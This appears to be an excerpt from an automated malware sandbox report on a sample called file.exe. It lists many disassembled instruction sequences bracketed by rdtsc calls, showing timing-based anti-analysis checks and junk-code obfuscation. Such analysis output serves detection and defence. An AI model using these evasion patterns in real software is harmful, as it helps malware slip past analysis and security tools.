Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5418BB second address: 5418EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1F34B447EFh 0x00000008 jne 00007F1F34B447E6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 jmp 00007F1F34B447F0h 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541A48 second address: 541A6F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 jo 00007F1F34FC7058h 0x0000000f push edx 0x00000010 pop edx 0x00000011 jns 00007F1F34FC7058h 0x00000017 popad 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c jl 00007F1F34FC705Eh 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541A6F second address: 541A7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov eax, dword ptr [eax] 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541A7B second address: 541A86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F1F34FC7056h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547898 second address: 5478C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F34B447EDh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1F34B447F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5478C2 second address: 5478C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547BCC second address: 547BDA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F1F34B447EEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547E78 second address: 547E81 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547E81 second address: 547E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547E89 second address: 547E93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547E93 second address: 547E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547E99 second address: 547EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F1F34FC7061h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548020 second address: 548028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548028 second address: 54804C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pushad 0x00000007 push esi 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F1F34FC7065h 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54804C second address: 548052 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DD7E second address: 54DD82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DD82 second address: 54DD88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C762 second address: 54C779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F34FC7062h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C8F0 second address: 54C903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F1F34B447E8h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54CA6E second address: 54CA74 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54CA74 second address: 54CA7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54CBE2 second address: 54CBEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1F34FC7056h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54CD19 second address: 54CD20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54CD20 second address: 54CD26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54CE8D second address: 54CE91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54CE91 second address: 54CEA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34FC7062h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54CEA7 second address: 54CEDF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1F34B44800h 0x00000008 jmp 00007F1F34B447F8h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 jnp 00007F1F34B447E6h 0x00000016 pop eax 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c push esi 0x0000001d pop esi 0x0000001e jng 00007F1F34B447E6h 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D442 second address: 54D446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D446 second address: 54D466 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34B447F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D466 second address: 54D470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D5F4 second address: 54D5FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D786 second address: 54D78C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C475 second address: 54C47F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1F34B447E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C47F second address: 54C485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C485 second address: 54C491 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1F34B447EEh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8E9C second address: 4C8EA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8EA5 second address: 4C8EBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F1F34B447F3h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8EBF second address: 4C8EC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8EC5 second address: 4C8EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8EC9 second address: 4C8ECD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551556 second address: 55157A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F1F34B447F0h 0x0000000f pushad 0x00000010 popad 0x00000011 jbe 00007F1F34B447E6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55157A second address: 55157F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55157F second address: 551585 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551585 second address: 55158F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1F34FC7056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55158F second address: 5515B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F1F34B447E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jo 00007F1F34B447EEh 0x00000015 jp 00007F1F34B447E6h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5515B2 second address: 5515B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5515B6 second address: 5515BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5181D3 second address: 518229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F1F34FC705Ch 0x0000000a popad 0x0000000b nop 0x0000000c jg 00007F1F34FC705Bh 0x00000012 lea eax, dword ptr [ebp+12487F86h] 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F1F34FC7058h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F1F34FC7061h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5188F2 second address: 51892D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1F34B447F2h 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e jne 00007F1F34B447EEh 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jp 00007F1F34B447ECh 0x00000020 jnl 00007F1F34B447E6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5189FE second address: 518A08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F1F34FC7056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518A08 second address: 518A63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34B447F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], esi 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F1F34B447E8h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 and edx, dword ptr [ebp+122D1E4Bh] 0x0000002e nop 0x0000002f push eax 0x00000030 push edx 0x00000031 je 00007F1F34B447F8h 0x00000037 jmp 00007F1F34B447F2h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518CF6 second address: 518CFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519043 second address: 51909D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov cx, bx 0x0000000a push 0000001Eh 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F1F34B447E8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 sub edx, dword ptr [ebp+122D33CAh] 0x0000002c nop 0x0000002d jnl 00007F1F34B447F7h 0x00000033 push eax 0x00000034 pushad 0x00000035 jmp 00007F1F34B447ECh 0x0000003a pushad 0x0000003b push ebx 0x0000003c pop ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51938E second address: 519394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519394 second address: 5193A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F1F34B447ECh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51943E second address: 519442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519442 second address: 519446 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519446 second address: 5194B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 mov edx, dword ptr [ebp+122D2821h] 0x0000000e lea eax, dword ptr [ebp+12487FCAh] 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F1F34FC7058h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e nop 0x0000002f jmp 00007F1F34FC7062h 0x00000034 push eax 0x00000035 jg 00007F1F34FC7064h 0x0000003b nop 0x0000003c stc 0x0000003d lea eax, dword ptr [ebp+12487F86h] 0x00000043 mov dword ptr [ebp+122D1AF0h], ecx 0x00000049 nop 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55188E second address: 551898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F1F34B447E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551898 second address: 5518A2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1F34FC7056h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5518A2 second address: 5518B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5518B0 second address: 5518B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5518B9 second address: 5518BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5518BF second address: 5518C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551B6B second address: 551B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551B71 second address: 551B75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551E10 second address: 551E23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F34B447EFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551E23 second address: 551E27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55224B second address: 552258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 jc 00007F1F34B447E6h 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5592F6 second address: 5592FC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5592FC second address: 559301 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F6E1 second address: 55F6E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F6E7 second address: 55F6EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F6EE second address: 55F72D instructions: 0x00000000 rdtsc 0x00000002 je 00007F1F34FC705Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a jnp 00007F1F34FC7056h 0x00000010 pushad 0x00000011 jmp 00007F1F34FC705Ch 0x00000016 pushad 0x00000017 popad 0x00000018 push edx 0x00000019 pop edx 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F1F34FC7069h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E3E5 second address: 55E3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E3EB second address: 55E3EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E3EF second address: 55E3F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E3F3 second address: 55E406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1F34FC7056h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E406 second address: 55E40A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F3BD second address: 55F3E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1F34FC705Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1F34FC7066h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F3E5 second address: 55F3EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F3EE second address: 55F3F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56149C second address: 5614BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34B447F3h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1F34B447EAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5614BD second address: 5614CF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jne 00007F1F34FC7056h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5614CF second address: 5614DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 564718 second address: 56471D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56471D second address: 564750 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1F34B447F8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F1F34B447F0h 0x0000000f jmp 00007F1F34B447F0h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 564430 second address: 564451 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1F34FC705Dh 0x0000000d jmp 00007F1F34FC705Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 564451 second address: 564455 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56AC61 second address: 56AC69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569855 second address: 56986F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34B447ECh 0x00000007 je 00007F1F34B447E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56986F second address: 569873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569ED8 second address: 569EDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
